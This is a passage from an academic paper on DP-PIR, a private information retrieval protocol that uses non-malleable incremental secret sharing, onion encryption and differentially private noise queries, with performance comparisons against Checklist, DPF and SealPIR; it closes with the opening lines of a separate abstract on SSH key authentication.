queries are untraceable by external adversaries:

1. Secrecy: As long as one of the shares is unknown, re-
construction cannot be carried out by an adversary.

2. Incremental Reconstruction: A server that only knows a
single secret share and a running tally must be able to combine
them to produce a new tally. The new tally must produce the
original secret when combined with the remaining shares.

3. Independence: An adversary cannot link any partially
reconstructed output from a set of outputs to any shared input
in the corresponding input set.

4. Non-Malleability: An adversary who perturbs any given
share cannot guarantee that the output of reconstruction with
that perturbed share satisfies any desired relationship. In par-
ticular, the adversary cannot perturb shares such that recon-
struction yields a specific value (e.g., 0), or a specific function
of the original secret (e.g., adding a fixed offset).

Formally, we define a secret sharing scheme with incre-
mental reconstruction with the usual sharing mechanism but
a new method to recover the original secret.

Definition 2. An incremental secret sharing scheme S over a
field F and m parties contains two algorithms.

• Sh(q) disperses a secret q into a randomly chosen set of
shares~q = q1, . . . ,qm ∈ F and some initial tally l0.

• Rec(li−1,qi)→ li performs party i’s partial reconstruc-
tion to produce running tally li.

The scheme is correct if for all sharings (~q, l0)← Sh(q), the
overall reconstruction returns lm = q.

Non-malleability is critical for preserving security when the
last (backend) server is corrupted. The backend can observe
the final reconstructed values of all queries to identify queries
perturbed by earlier colluding servers. If the perturbation can
be undone (e.g. by removing a fixed offset), then the backend
can learn the value of the query and link it to information
known by other servers, such as the identity of its client.

We formally define non-malleability through the following
indistinguishability game. It guarantees that if an adversarial
set of m− 1 parties submits a tampered partial tally l∗i−1 to
the honest party i, then the tally l∗i returned by the honest
party is uniformly random. As a result, l∗i is independent of
(and therefore hides) the secret q, and it only completes to a
reconstruction of q with probability 1/|F|.

Definition 3. Consider the following two games that only dif-
fer in the final step. Call them Left and Right respectively.

Adversary A Challenger C
secret q, honest party i

~q, l0 = Sh(q)

calculate all l jadversary shares l0,{q j} j 6=i

modified tally l∗i−1 6= li−1
l∗i = Rec(l∗i−1,qi)

r← Fl∗i or r
return bit b

We say that an incremental secret sharing scheme S =
(Sh,Rec) is non-malleable if for all adversaries A , the Left
and Right games are (perfectly) indistinguishable.

Several non-malleable secret sharing schemes exist [9, 40].
However, they are not incremental: their reconstruction is a
one-shot operation over all shares. Conversely, known incre-
mental schemes, such as additive or XOR-based sharing, are
vulnerable to malleability. It would have been possible to use
different primitives in our protocol that satisfy our desired
properties, such as authenticated onion symmetric-key en-
cryption. However, these operations remain more expensive
than simple information theoretic secret sharing schemes that
can be implemented with a handful of arithmetic operations.
Our Incremental Sharing Construction Given a secret q, a
prime modulus z, and an integer m, our scheme produces m+
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Algorithm 1 Client i Offline Stage
Input: Nothing.
Output state at the client: a list of anonymous secrets
[ai

0, ...,a
i
m], one per each of the m servers. The client uses

these secrets in the online stage.
Output to s1: Onion encryption of ai

1, ...,a
i
m.

1. Generate Random Values: For each Server s j, the
client generates 4 values all sampled uniformly at ran-
dom: (1) A globally unique identifier t i

j. (2) Two in-
cremental pre-shares xi

j ∈ Zz and yi
j ∈ Z∗z . (3) An addi-

tive pre-share ei
j ∈ [0,2b). We define ei = Σ ei

j mod 2b

which the client uses to reconstruct the response online.

2. Build Shared Anonymous secrets: The client builds
ai

j = (t i
j, t

i
j+1,x

i
j,y

i
j,e

i
j), for every server 1≤ j ≤ m, us-

ing the generated random values above, with t i
m+1 =⊥.

These secrets are stored by the client for later use in the
online stage.

3. Onion Encryption: The client onion encrypts the se-
crets using the correspond server’s public key, such that
OEnci

m = Enc(skm, ai
m) and OEnci

j = Enc(sk j, ai
j ::

OEnci
j+1).

4. Secrets Submission: The client sends the onion cipher
OEnci

1 to server s1. The client can leave the protocol as
soon as receipt of this message is acknowledged.

1 pairs q0 = (x0,y0),q1 = (x1,y1), ...,qm = (xm,ym), where
each pair represents a single share of q. All x and y values are
chosen independently at random from Fz and F∗z respectively,
except for the very first pair x0,y0, whose values are set to:

x0 = 〈[(q− xm)× y−1
m ] ...− x1〉× y−1

1 mod z, y0 = 0.

All shares except the first one can be selected prior to know-
ing q. This is important for our offline stage. The modulus z
must be as big as the key size in the underlying database (32
bits in our experiments). To reconstruct the secret q, we show
below the incremental reconstruction operations Rec(li−1,qi)
to construct the first partial tally and all subsequent ones:

l0 = y0×1+ x0 mod z,
l j = y j× l j−1 + x j mod z.

Correctness (i.e., lm = q) stems from our choice of (x0,y0).
Refer to the full version of this work on ePrint [4] for the
proof showing that our construction is non-malleable.

5 Our DP-PIR Protocol

Offline Stage Our offline stage consists of a single sequen-
tial pass over the m servers. Clients generate random secrets

Algorithm 2 Server s j Offline Stage
Configuration: The underlying database T : K→ (V,Σ), and
privacy parameters ε,δ,φ.
Input from sj−1 or clients if j = 1: A set of onion ciphers of
anonymous secrets, one per each incoming request.
Output state at sj: A mapping M of unique tag t i

j to its
corresponding shared anonymous secrets ai

j used to handle
incoming queries during the online stage. A list of generated
anonymous secrets L used to create noise queries during the
online stage. A sampled histogram N of noise queries to use
in the online stage.
Output to server sj+1: A set output onion ciphers corre-
sponding to input onion ciphers and noise generated by s j.

1. Onion Decryption: For every received onion cipher
OEnci

j, the server decrypts the cipher with its secret key
sk j, producing ai

j and OEnci
j+1.

2. Anonymous Secret Installation: For every decrypted
secret ai

j = (t i
j, t

i
j+1,x

i
j,y

i
j,e

i
j), the server stores entry

(t i
j+1,x

i
j,y

i
j,e

i
j) at M[t i

j] for later use in the online stage.

If jjj <<< mmm:

3. Noise Pre-Sampling: The server samples a histogram
representing counts of noisy queries to add for every key
in the database N ← χ(ε,δ,φ), and computes the total
count of this noise S = ∑N .

4. Build shared anonymous secrets for noise: The server
generates S many anonymous secrets and onion encrypts
them for all s j′ with j′ > j, using the same algorithm as
the client. The server stores these secrets in L.

5. Shuffling and Forwarding: The server shuffles all
onion ciphers, including all OEnci

j+1 decrypted in step
(1) or generated by step (4), and sends them over to the
next server s j+1.

locally, and submit them after onion encryption to the first
server in the chain. The first server receives all such incom-
ing messages from clients, until a configurable granularity is
reached, e.g. after a certain time window passes or a number
of messages is received. All incoming messages at that point
constitutes the input set for that server. The server outputs a
larger set. This set contains both the processed input messages,
as well as new messages inserted by the server.

The client-side protocol is shown in algorithm 1. Con-
cretely, for each server j, client i generates secret ai

j =

(t i
j, t

i
j+1,x

i
j,y

i
j,e

i
j), where t i

j and t i
j+1 are random tags chosen

from a sufficiently large domain that the client uses online to
point each server to its secret without revealing its identity, xi

j
and yi

j are secret shares from our incremental secret sharing
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Algorithm 3 Client i Online Stage
Input: A query qi.
Input state at the client: a shared anonymous secrets ai

j =

(t i
j, t

i
j+1,x

i
j,y

i
j,e

i
j) per server s j generated by the offline stage.

Output: A value vi corresponding to T [qi].

1. Compute Final Incremental Secret Share: Client
computes li

1 = xi
0, so that (xi

0,0) combined with
(xi

1,y
i
1), ...,(x

i
m,y

i
m) is a valid sharing of qi, per our incre-

mental secret sharing scheme.

2. Query Submission: Client sends (t i
1, l

i
1) to server s1.

3. Response Reconstruction: Client receives response ri
1

from s1 and reconstructs (vi,σi) = ri
1− ei mod 2b.

4. Response verification: The client ensures that σi is a
valid signature over (qi,ri) by s1, ...,sm−1.

scheme used to reconstruct the query, and Σ ei
j mod 2b = ei

are additive secret shares used to mask the response. The
exponent b corresponds to the bit size of values and signa-
tures (instantiated to 32+384 in our experiments). Our offline
protocol uses onion encryption from CCA-secure public key
encryption to pass secrets through the servers (here, :: denotes
string concatenation):
OEnci

1 = Enc(sk1,ai
1 :: Enc(sk2,ai

2 :: ... Enc(skm,ai
m) ... ))

In addition to secrets from clients, each server must inject
sufficiently many secrets at subsequent servers to handle all
noise queries that the server needs to make in the online stage.
This corresponds to steps 3 and 4 in algorithm 2, where the
server computes the exact noise amount by pre-sampling.

The output set of each server contains onion ciphers, en-
crypted under the keys of the subsequent servers in the chain.
None of the plaintexts decrypted by the current server sur-
vives, they are all consumed and stored in the server’s local
mapping for use during the online stage. No linkage between
messages in the input and output sets is possible without
knowing the server’s secret key, since the ciphers in the input
cannot be used to distinguish between (sub-components of)
their plaintexts, and since the output set is uniformly shuffled.
This is true even if the adversary perturbs onion ciphers prior
to passing them to an honest party (by CCA security), which
in-essence denies service to the corresponding query.

Online Stage The client-side online protocol is shown in
algorithm 3. The server-side online stage (algorithm 4) is
structured similarly to the offline stage. However, it requires
going through the chain of servers twice. The first phase (steps
1-4) moves from the clients to the backend server, where
every server incrementally reconstructs the values of received
queries using the stored secrets (steps 1-2), and injects its
noise queries into the running set of queries (step 3). The
second phase moves in the opposite direction (steps 5-6), with

Algorithm 4 Server s j Online Stage

State at sj: The mapping M, list L, and noise histogram N
stored from the offline stage.
Input from sj−1 or clients if j = 1: A list of queries (t i

j, l
i
j).

Output to sj−1 or clients: A list of responses ri
j correspond-

ing to each query i.

1. Anonymous Secret Lookup: For every received query
(t i

j, l
i
j), the server finds M[t i

j] = (t i
j+1,x

i
j,y

i
j,e

i
j).

2. Query Handling: For every received query, the server
computes output query (t i

j+1,Rec(l
i
j,(x

i
j,y

i
j))), where

Rec is our scheme’s incremental reconstruction function.

If jjj <<< mmm:

3. Noise injection: The server makes output queries per
stored noise histogram N , using the stored list of anony-
mous secrets L and the client’s online protocol. By con-
struction, there are exactly as many secrets in L as overall
queries in N .

4. Shuffling and Forwarding: The server shuffles all out-
put queries, both real and noise, and sends them over to
the next server s j+1. The server waits until she receives
the corresponding responses from s j+1, and de-shuffles
them using the inverse permutation.

5. Response Handling: Received responses correspond-
ing to noise queries generated by this server are dis-
carded. For every remaining received response ri

j+1,
the server computes the output response ri

j = ri
j+1 +

ei
j mod 2b.

6. Response Forwarding: The server sends all output re-
sponses ri

j to s j−1, or the corresponding client ci if j = 1.

If jjj === mmm:

7. Response Lookup: The backend server does not need to
inject any noise or shuffle. By construction, step (2) com-
putes (⊥,qi) for each received query. The backend finds
the corresponding T [qi] = (vi,σi). If qi was not found in
the database (because a malicious party mishandled it),
we return an arbitrary random value.

8. Response Handling: The backend computes responses
ri

j = (vi :: σi)+ ei
j mod 2b, and sends them to s j−1.

every server removing responses to their noise queries, and
incrementally reconstructing the received responses, until the
final value of a response is reconstructed by its corresponding
client. The backend operates differently than the rest of the
servers (steps 7-8). It computes the reconstructed query set,
and finds their corresponding responses in the database via
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direct look-ups. The backend need not add any noise queries,
which alleviates the need for shuffling at the backend.

Discussion The security of both offline and online stages
rely on the same intuition. First, an adversary that observes
the input and output sets of an honest server should not be able
to link any output message to its input. Second, the adversary
must not be able to distinguish outputs corresponding to real
queries from noise injected by that server.

The honest server shuffles and re-randomizes all its in-
put messages, which guarantees that the adversary cannot
link input and output messages. In the offline stage this re-
randomization is performed with onion-decryption, while the
online stage performs it using our non-malleable incremental
reconstruction and additive secret sharing for its two phases
respectively. We do not need to use a non-malleable secret
sharing scheme for response handling, since the adversary
cannot observe the final response output, which is only re-
vealed to the corresponding client, and thus cannot observe
the effects of a perturbation.

Shuffling in the noise with the re-randomized messages
ensure that they are indistinguishable. A consequence of this
is that a server cannot send out any output message until it
receives the entirety of its input set from the previous server
to avoid leaking information about the permutation used. Idle
servers further along the chain can use this time to perform in-
put independent components of the protocol, such as sampling
the noise, building and encrypting their anonymous secrets,
or sampling a shuffling order.

A malicious server may deviate from this protocol in a vari-
ety of ways: it may de-shuffle responses incorrectly (by using
a different order), attach a different tag to a query than the one
the offline stage dictates, or set the output value corresponding
to a query or response arbitrarily (including via the use of
an incorrect pre-share). The offline stage does not provide a
malicious server with additional deviation capability: any de-
viation in the offline stage can be reformulated as a deviation
in the online stage, after carrying out the offline stage hon-
estly, with both deviations achieving identical effects. Finally,
a backend server may choose to provide incorrect responses
to queries by ignoring the underlying database.

Each of these deviations has the same effect: the non-
malleability of both our sharing scheme and onion encryp-
tion ensures that mishandled messages reconstruct to random
values, and mishandled responses will not pass client-side
verification unless the adversary can forge signatures. In ei-
ther case, the affected clients will identify that the output they
received is incorrect and reject it. Ergo, servers can only use
this approach to selectively deny service to some clients or
queries. A malicious frontend can deny service to any desired
subset of clients since it knows which queries correspond
to which clients, a malicious backend can deny service to
any number of client who queried a particular entry in the
database, and any server can deny service to random clients.
The backend and frontend capabilities cannot be combined

Algorithm 5 Ideal Functionality F
Input: A set of queries qi, one per client, the underlying
database T : K→ (V,Σ), and privacy parameters ε,δ,φ.
Output: A set of outputs vi, one per client, either equal to the
correct value or ⊥.
Leakage: A noisy histogram H revealed to sm.

1. if s1 is corrupted, F receives a list of client identities
from the adversary. These clients are excluded from the
next steps, and receive ⊥ outputs.

2. F reveals the noised histogram H = Hhonest + N to
the backend server sm, where Hhonest is the histogram
of queries made by honest clients not excluded by the
previous step, and N is sampled at random from the
distribution of noise χ(ε,δ,φ).

3. if the backend is corrupted, F receives a list of counts
ci for every entry in the database ki, and outputs ⊥ to
ci-many clients, randomly chosen among the remaining
clients that queried ki.

4. if any server, other than sm and s1, is corrupted, F re-
ceives a number c, and outputs ⊥ to c-many clients, ran-
domly chosen among the remaining clients.

5. if s1 is corrupted, F receives an additional list of client
identities to receive ⊥.

6. F outputs vi such that T [qi] = (vi,σi) for every client i
not excluded by any of the steps above.

even when colluding since at least one honest server exists be-
tween the frontend and backend. These guarantees are similar
to those of Vuvuzela [77] and many other mixnet systems.
Formal Security We rigorously specify our security guar-
antee in Theorem 1, which refers to the ideal functionality
defined in Algorithm 5. The ideal functionality formalizes our
notion of “selective” abort. In particular, it formalizes capabil-
ities of the adversary to deny service to a specific query based
on at most one of its value or its origin client. A construction
for the simulator and proof for Theorem 1 are available in the
full version of this work [4].

Theorem 1 (Security of our protocol Π). For any set A of
adversarial colluding servers and clients, including no more
than m−1 servers, there exists a simulator S, such that for
client inputs q1, ...,qd , we have:

ViewReal(Π,A,(q1, ...,qd))≈ ViewIdeal(F ,S ,(q1, ...,qd))

Differential Privacy Our security theorem contains leakage
revealed to the backend server in the form of a histogram
over queries made by honest clients and honest servers. Our
privacy guarantees hinge on this leakage being differentially
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Algorithm 6 Noise Query Sampling Mechanism χ(ε,δ,φ)

Input: The size of the database |T |, privacy parameters ε,δ,
and the number of protected queries φ.
Output: A histogram N over T representing how many noise
queries must be issued for each database entry.

1. Clamping threshold B := |CDF−1
Laplace(0,2φ/ε)(

δ

2 )|.

For every iii ∈∈∈ |||TTT |||:

2. Sample ε-DP Laplace noise: ui←− Laplace(0, 2φ

ε
).

3. Clamp negative noise: u′i := max[0, B+min(B,ui)]).

4. N [i] = floor(u′i)

private, which entails adding noise to that histogram from a
suitable distribution. Algorithm 6 shows the mechanism each
server uses to sample the noise queries N , and we prove that it
indeed achieves (ε,δ)-differential privacy in our full paper [4].
Step (2) is a Laplace substitution (ε,0)-DP histogram release,
which may produce negative values. Step (3) ensures values
are non-negative by clamping into [−B,B] and shifting by B,
where B is carefully selected in (1) to yield a privacy loss of
exactly δ. Table 3 shows the expected number of noise queries
per server and database element for different ε and δ.

6 Scaling and Parallelization

Existing PIR protocols can be trivially scaled over additional
resources, by running completely independent parallel in-
stances of them on different machines. This approach is not
ideal for our protocol: each instance would need to add an
independent set of noise queries, since each reveals an inde-
pendent histogram of its queries. Instead, our protocol is more
suited for parallelizing a single instance over additional re-
sources, such that only a single histogram is revealed without
needing to add ancillary noise queries.

In a non-parallel setting, the notions of a party and a server
are identical. For scaling, we allow parties to operate mul-
tiple machines. These machines form a single trust domain.
This maintains our security guarantees at the level of a party.
Particularly, the protocol remains secure if one party (and all
its machines) is honest. Machines owned by the same party
share all their offline secret state and the noise queries they
select.

A machine m j
i belonging to party j communicates with

a single machine m j−1
i and m j+1

i from the preceding and
succeeding parties, in order to receive inputs and send outputs
respectively. The machine also communicates with all other
machines belonging to the same party j for shuffling.
Distributing Noise Generation Our protocol generates
noise independently for each entry in the database, we can

parallelize the generation by assigning each machine a subset
of database entries to generate noise for, e.g. m j

i is respon-
sible for generating all noise queries corresponding to keys
{k| k % j = 0}. This distribution is limited by the size of
the database. If parallelizing the noise generation beyond this
limit is required, an alternate additive noise distribution (e.g.
Poisson [75]) can be used instead, which allows several ma-
chines to sample noise for the same database entry from a
proportionally smaller distribution.
Distributed Shuffling Machines belonging to the same
party must have identical probability of outputting any input
query after shuffling, regardless of which server it was initially
sent to. An ideal shuffle guarantees that the number of queries
remains uniformly distributed among machines after shuf-
fling. We choose one that requires no online coordination to
ensure it maintains perfect scaling. Machines belonging to the
same party agree on a single secret seed ahead of time. They
use this shared seed locally to uniformly sample the same
global permutation P using Knuth shuffle. Given a total batch
of size l, each machine m j

i need only retain P[ i×l
m : (i+1)l

m ],
which determines the new indices of each of its input queries.
The target machine that each query q should be sent to can
be computed by P[q]% l

m . This algorithm performs optimal
communication l

m per machine but requires each machine to
perform CPU work linear in the overall number of queries to
sample the overall permutation. This work is independent of
the actual queries, and can be done ahead of time (e.g. while
queries are being batched or processed by previous parties).
Distributing Offline Anonymous Secrets We require all
machines belonging to the same party to share all secrets
they installed during the offline stage, so that any of them
can quickly retrieve the needed ones during the online stage.
Maintaining a copy of all secrets in the main memory of each
machine may be suitable for smaller applications. At larger
scales, it may be more appropriate to use shared key-value
storage or in-memory distributed file system [8, 51, 62, 81].

7 Evaluation

Experiment Setup Our various experiments measure the
server completion time for a batch of queries. For the online
stage, this is the total wall time taken from the moment the
first server receives a complete batch ready for processing,
until that batch is completely processed by the entire protocol,
and its outputs are ready to be sent to clients. For the offline
stage, the measurements start when the complete batch is
received by the first server, and ends when all servers finished
processing and installing the secrets. Measurements include
the time spent in CPU performing various computations from
the protocol, as well as time spent waiting for network IO as
messages get exchanged between servers. Our measurements
do not include client processing or round-trip time.

All experiments in the paper use ε = 0.1 and δ = 10−6.
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Figure 3: Completion time for varying number of queries
against a 100K database (logscale)
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Figure 4: Completion time for a batch consisting only of noise
queries against varying database sizes (logscale)

Keys and values in our database are each 4 bytes, with sig-
natures that are 48 bytes long (e.g. BLS [16]). We ran our
experiments on AWS r4.xlarge instances that cost around
$0.25 per hour, using only one thread. A primary factor in
selecting these instances is RAM, since we need sufficient
memory to store large query batches. We implemented our
protocol using a C++ prototype with about 6.1K lines of code.
Our prototype relies on libsodium’s crypto_box_seal [33]
for encryption. Our code is available on GitHub [34].

Scaling Figures 3 and 4 show how our protocol scales with
the number of queries and database size, respectively. Our
runtime is dominated by noise queries when the number of
queries is smaller than the size of the database, and begins to
increase with the number of queries as they exceed it. For a
large enough number of queries, our runtime scales linearly
as the overhead of noise queries is amortized away over the
real queries. Our noise overhead scales linearly with the size
of the database. The cost of processing any input query in
isolation (without noise) is constant and does not depend on
the database size, which only affects the number of noise
queries added by our protocol. The offline stage is about 500x
more expensive than our online stage. This is expected since
the offline stage performs a public key operation for each
corresponding modular online arithmetic operation.

Figure 5 shows how our protocol scales with the number
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Figure 5: Completion time for varying number of parties with
100K queries against a 10K database

Machines / Party Server time (seconds)
Offline Online

1 5010 11
2 2560 8.2
4 1296 4.0
8 664 2.2

Table 2: Horizontal scaling with 1M queries and a 100K DB

of parties. Our protocol is most efficient when only two par-
ties are involved. When the number of parties increases, a
query has to pass through more servers as it crosses the chain.
This is more pronounced in the offline stage, as it additionally
increases the size and layers of each onion cipher, causing
the offline stage to scale super-linearly in the number of par-
ties. In addition, each server naively adds the full amount of
noise queries required to independently tolerate up to m−1
corrupted parties. Adding less noise by relying on additional
assumptions (e.g., honest majority) is an open problem, which
can help improve our scaling with the number of parties, and
can have important consequences to mixnets, the DP shuffling
model, and DP mechanisms in general. Techniques such as
noise verification [53] may be useful to ensure that (partial)
noise generated by an honest server is not tampered with by
future malicious servers.

Table 2 demonstrates how our protocol scales horizontally.
Parallelizing the online stage primarily parallelizes communi-
cation. However, parallel shuffling introduces an additional
round of communication per party. As a result, our online
stage speed up when using 2 machines is not 2x. We exhibit
linear speedups as the number of machines exceeds 2.

Finally, the expected number of noise queries added per
database element is a function of ε and δ. Table 3 lists this
expected number for various combinations of ε and δ. The
expectation increases linearly as ε decreases but scales better
with δ. This means that the amount of noise overhead (and
thus the number of queries required for that overhead to amor-
tize effectively) grows linearly with 1

ε
. Our protocol trades

security for performance. It can efficiently amortize the cost
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δ
ε 1 0.1 0.01 0.0001

10−5 23 230 2302 23025
10−6 27 276 2763 27631
10−7 32 322 3223 32236

Table 3: Expected number of noise queries B per database
element as a function of different ε (columns) and δ (rows)

of independent queries due to its relaxed DP security guar-
antees. As ε becomes smaller, this relaxation becomes less
meaningful, as the DP security guarantees approach those of
computational security. While linear scaling with 1

ε
appears

to be intrinsic to our protocol, we believe it may be possi-
ble to reduce the scaling constant, by using different basis
distributions that are inherently non-negative or discrete (e.g.
Poisson [75] or Geometric [61]), or by adapting recent work
on privacy amplification [27, 36] that achieves the same level
of privacy using less noise with oblivious shuffling.

Latency Latency in Checklist and similar systems includes
the computation cost of a single query in isolation (which is
low), and any queuing delays experienced by the query after
its arrival if the computational resources are busy handling pre-
vious queries. This delay depends on the rate at which queries
come in, and can be significantly larger than the batching
overheads in applications with a large query load. In contrast,
our protocol is primarily throughput oriented and its latency
is a secondary concern determined by two components: the
idle waiting time required to collect the batch of queries from
different clients, which we call the batching window, and the
active processing time of that batch after collection. The first
component depends on the configuration. The later compo-
nent is precisely the total computation time measured in the
various experiments in earlier parts of the paper. Lowering the
batching window beyond a certain point can have a negative
impact on latency (and even throughput), since it can result in
smaller batches dominated by noise where amortization is not
effective. Furthermore, it can introduce queuing delays at the
level of batches, where a previous ongoing batch still occupies
system resources after the next batch has been collected.

We analyze DP-PIR’s latency and the effects of the batch-
ing window in our full paper [4]. We summarize three impor-
tant observations: (1) Queuing delays in existing systems are
significant and can cause them to exhibit latency worse than
DP-PIR with a large number of queries. (2) Both DP-PIR and
existing systems can be scaled horizontally to exhibit lower
latency. Traditional PIR protocols can achieve sub-second la-
tencies if given enough resources, but this can be prohibitively
expensive when the query rate is high. (3) For our target large
query loads, DP-PIR can be configured to exhibit decent la-
tency with a much lower budget than existing systems.

The Offline Stage PIR protocols with an offline stage typ-
ically do so to improve their online latency, which is less

critical in our target applications. It is possible to combine
both DP-PIR stages into a single stage that performs onion-
encryption of the query directly, without the need to install
anonymous secrets. This combined protocol would exhibit
similar trends to our current design, but will be around two
orders of magnitude slower than our online protocol on its
own. A fair comparison here must also account for the of-
fline cost of existing protocols, which can be significantly
larger than our offline cost. For example, Checklist relies on
an expensive per-client offline stage linear in the size of the
database, which we observe takes up to 7 seconds per client
in our experiments. In DP-PIR, the offline cost for a single
query amortizes to a few milliseconds. One key difference is
that a client can reuse the hint produced by Checklist’s offline
stage to make many following queries, rather than a fixed
number of queries in DP-PIR. However, the hint becomes
invalid whenever the database is updated. Checklist provides
an updatable offline construction, where a single update to the
database can be carried over to a previous offline computation
in cost logarithmic in the database size.

We believe the that the offline-online design provides bet-
ter deployment cost and performance, and allows DP-PIR to
meet the availability and liveness requirements of many ap-
plications, including our App store example. Concretely, the
offline-online design allows greater control over the batch-
ing window, which governs the effectiveness of amortization,
client latency, and the duration needed for updates to the
database to become visible to clients at the next batch. For
example, it may be desirable to allow clients to query the App
store multiple times a day, e.g. every hour, in order to discover
important app updates earlier. A natural way to achieve this is
to use a batching window of one hour or less. However, this
is only effective if this window includes sufficient queries for
amortization, and has sufficient time to complete processing
before the next batch. The offline setup lowers both require-
ments, making smaller windows practical (or alternatively,
cutting the online cost of the same window by 500x).

The offline stages for multiple online stages can be pooled
together and executed ahead of time. Clients can choose to
issue less queries than they signed up for in the pooled offline
stage without privacy loss. Service providers can use this to
execute the combined offline stages during off-peak hours
when resources are cheaper (e.g. overnight). Furthermore,
providers can use different setups for each stage to optimize
the effectiveness of their budget. The offline stage is CPU-
intensive due to its public key operations, while the online
stage is entirely network bound.

8 Related Work

Section 2 discusses existing work on Private Information
Retrieval. Here, we discuss related work from other areas.

Mixnets Traditional mixnets [24] consist of various parties
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that sequentially process a batch of onion-ciphers, and out-
put a uniformly random permutation of their corresponding
plaintexts. Various Mixnet systems [12, 37] add cover traffic
to obfuscate various traffic patterns. However, ad-hoc cover
traffic is shown to leak information over time [60].

Recent work mitigates this by relying on secure multiparty
computation [5] or differential privacy. Vuvuzela [77] adds
noise traffic from a suitable distribution to achieve formal
differential privacy guarantees over leaked traffic patterns,
and Stadium [75] improves on its performance by allowing
parallel noise generation and permutation. Similar techniques
have been used in private messaging systems [53], and in
differential privacy models that utilize shuffling for privacy
amplification [36] or for introducing a shuffled model that lies
in between the central and the local models [27].

Differential Privacy and Access Patterns Using differ-
ential privacy to efficiently hide access patterns of various
protocols has seen increasing interest in the literature. ε−PIR
relaxes the security guarantees of PIR to be differentially pri-
vate [72] in the semi-honest setting. Their two AS schemes
are closest to our protocol: they require clients (rather than
servers) to generate noise queries along with their real queries,
and send all of them through an anonymous network for mix-
ing. When the number of clients is large enough, this can
amortize the number of queries any of them have to generate
to a constant. However, this approach generates far more total
load on the system. For example, in our app store example
with 2 servers, a 2.5M database, and 3B clients, each client
needs to generate 282 noise queries to hide a single query
with ε = 0.1, which results in close to 850B queries to the
system in total, compared to the < 4B total load on our system
(but with δ = 10−6 6= 0). These constructions do not provide
integrity guarantees, and will require further noise queries to
protect against potential malicious or unavailable clients.

Others relax the security of Oblivious RAM (ORAM), a
primitive where a single client obliviously reads and writes
to a private remote database [38, 39], to be differentially pri-
vate. Extensions of ORAM address multi-client settings [59].
Differentially oblivious RAM [23, 78] guarantees that neigh-
boring access patterns (those that differ in the location of a
single access, i.e. event-DP) occur with similar probability.
DP access patterns have been studied for searchable encryp-
tion [25] and generic secure computation [61].

Secret Sharing Shamir Secret Sharing [70] allows a user
to split her data among n parties such that any t of them can
reconstruct the secret. Secret sharing schemes with additional
properties have been studied for use in various applications.
Some schemes, such as additive secret sharing, allow the se-
cret to be reconstructed incrementally by combining a subset
of shares of size k into a single share that can recover the orig-
inal secret when combined with the remaining n− k shares.
Non-malleable secret sharing schemes [9, 40] additionally
protect against an adversary that can tamper with shares, and

guarantees that tampered shares either reconstruct to the orig-
inal message or to some random value. Aggarwal et al. [2]
show generic transformations to build non-malleable schemes
from secret sharing schemes over the same access structure.

9 Conclusion

This paper introduces a novel PIR protocol targeted exclu-
sively at applications with high query rates relative to the
database. This focus is intentional and necessary: DP-PIR
handles large batches so well specifically because it handles
small ones poorly. Our construction makes PIR usable in
scenarios that were previously impractical or unexplored. DP-
PIR is primarily geared towards amortizing total server work
(i.e. throughput), but not for sub-second client latency, and
only provides relaxed differential privacy guarantees.

The performance of DP-PIR is closely tied to its configura-
tions, which determine the number of noise queries generated
by our system, and thus the number of queries required to
amortize their overheads effectively. Our experiments meet
or extend beyond standard configurations suggested by ex-
isting work. Checklist [47] supports exactly two parties, and
PIR schemes are rarely instantiated with more than three. For
small databases (e.g. n < 100K), the naive solution of sending
the entire DB to the client may be desirable. Vuvuzela [77]
recommends ε ∈ [0.1, ln(3)] and sets δ = 10−4, and other
work [61, 72] also mostly focuses on ε≥ 0.1.

The ratio of queries to database size q
n is the primary per-

formance criteria that governs how effective DP-PIR is com-
pared to existing protocols. Within the space of typical con-
figurations outlined above, our experiments demonstrate that
applications with q

n <
1
10 are unsuited for DP-PIR, while appli-

cations with q
n > 10 are almost always guaranteed to exhibit

speedups of several folds when using DP-PIR. Applications
with ratios in [ 1

10 ,10] may or may not be suited to DP-PIR,
depending on their exact configurations. For example, we can
achieve better performance than existing work for a ratio of
0.8 when the database size is 2.5M, but not when it is of size
1M (section 2). Thus, such applications require individual
analysis to determine the best way to realize them.

Our protocol shifts expensive public key operations to an
offline stage. This allows for more flexibility over the batching
window to meet application requirements, and a more efficient
allocation of computational resources. However, applications
were these factors are not a concern may elect to combine the
two stages into a single one, that still exhibits similar trends
to our online stage, but is about two orders of magnitude
more expensive. Finally, these ratios, and the number of noise
queries, also depend on the level (and duration) of protection
offered to users (e.g. event-DP vs user-time-DP) as expressed
by φ. DP-PIR intentionally relaxes its guarantees for increased
performance. This relaxation becomes less meaningful as ε

and φ approach perfect security.
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Figure 6: DPF and DP-PIR Total completion time (y-axis,
logscale) for varying number of queries (x-axis, logscale)
against a 2.5M database
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Figure 7: The ratios of queries/database (y-axis) after which
DP-PIR outperforms DPF for different database sizes (x-axis,
logscale)

A DPF and SealPIR

The setup and parameters in both comparisons below is iden-
tical to section 2.

DPF Boyle, Gilboa, and Ishai [18] propose a PIR proto-
col based on distributed point functions (DPF). Unlike the
offline-online protocol introduced in Checklist that uses punc-
tured pseudorandom sets, DPF requires linear work in the
database size to handle user queries. However, DPF requires
no offline preprocessing and significantly lower client com-
putation and communication than checklist. We compare our
system to the DPF implementation provided as an alternative
backend for checklist based on the optimized implementa-
tion of Kales [46]. Figures 6 and 7 show our results. For
a database with 100K elements, DPF outperforms DP-PIR
when the number of queries is small relative to the size of
the database. When the number of queries q approaches 31K,
with n

q = 0.0124, the two systems exhibit identical comple-
tion time, with DP-PIR significantly outperforming DPF as
the number of queries grow beyond that.

SealPIR Figures 8 and 9 show similar results for SealPIR.
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Figure 8: SealPIR and DP-PIR Total completion time (y-axis,
logscale) for varying number of queries (x-axis, logscale)
against a 10K database
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Figure 9: The ratios of queries/database (y-axis) after which
DP-PIR outperforms SealPIR for different database sizes (x-
axis, logscale)

In the first experiment, we use a database size of only 10K
elements, and find that DP-PIR outperforms SealPIR at rel-
atively few queries (around 32) with a ratio q

n of just 0.003.
Similarly, we achieve 2x, 5x, and 10x speedups for modest
ratios all below 0.02. These ratios decrease as the database
size grows, similar to our experiment with Checklist. We out-
perform SealPIR with far fewer queries than we do Checklist
and DPF, in large part because SealPIR’s uses expensive ho-
momorphic operations during its online stage, while checklist
offloads expensive linear work to an offline stage. Our pro-
tocol goes even further, only executing a couple of modular
arithmetic operations per query online.
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Abstract
Public-key authentication in SSH reveals more information
about the participants’ keys than is necessary. (1) The server
can learn a client’s entire set of public keys, even keys gen-
erated for other servers. (2) The server learns exactly which
key the client uses to authenticate, and can further prove this
fact to a third party. (3) A client can learn whether the server
recognizes public keys belonging to other users. Each of these
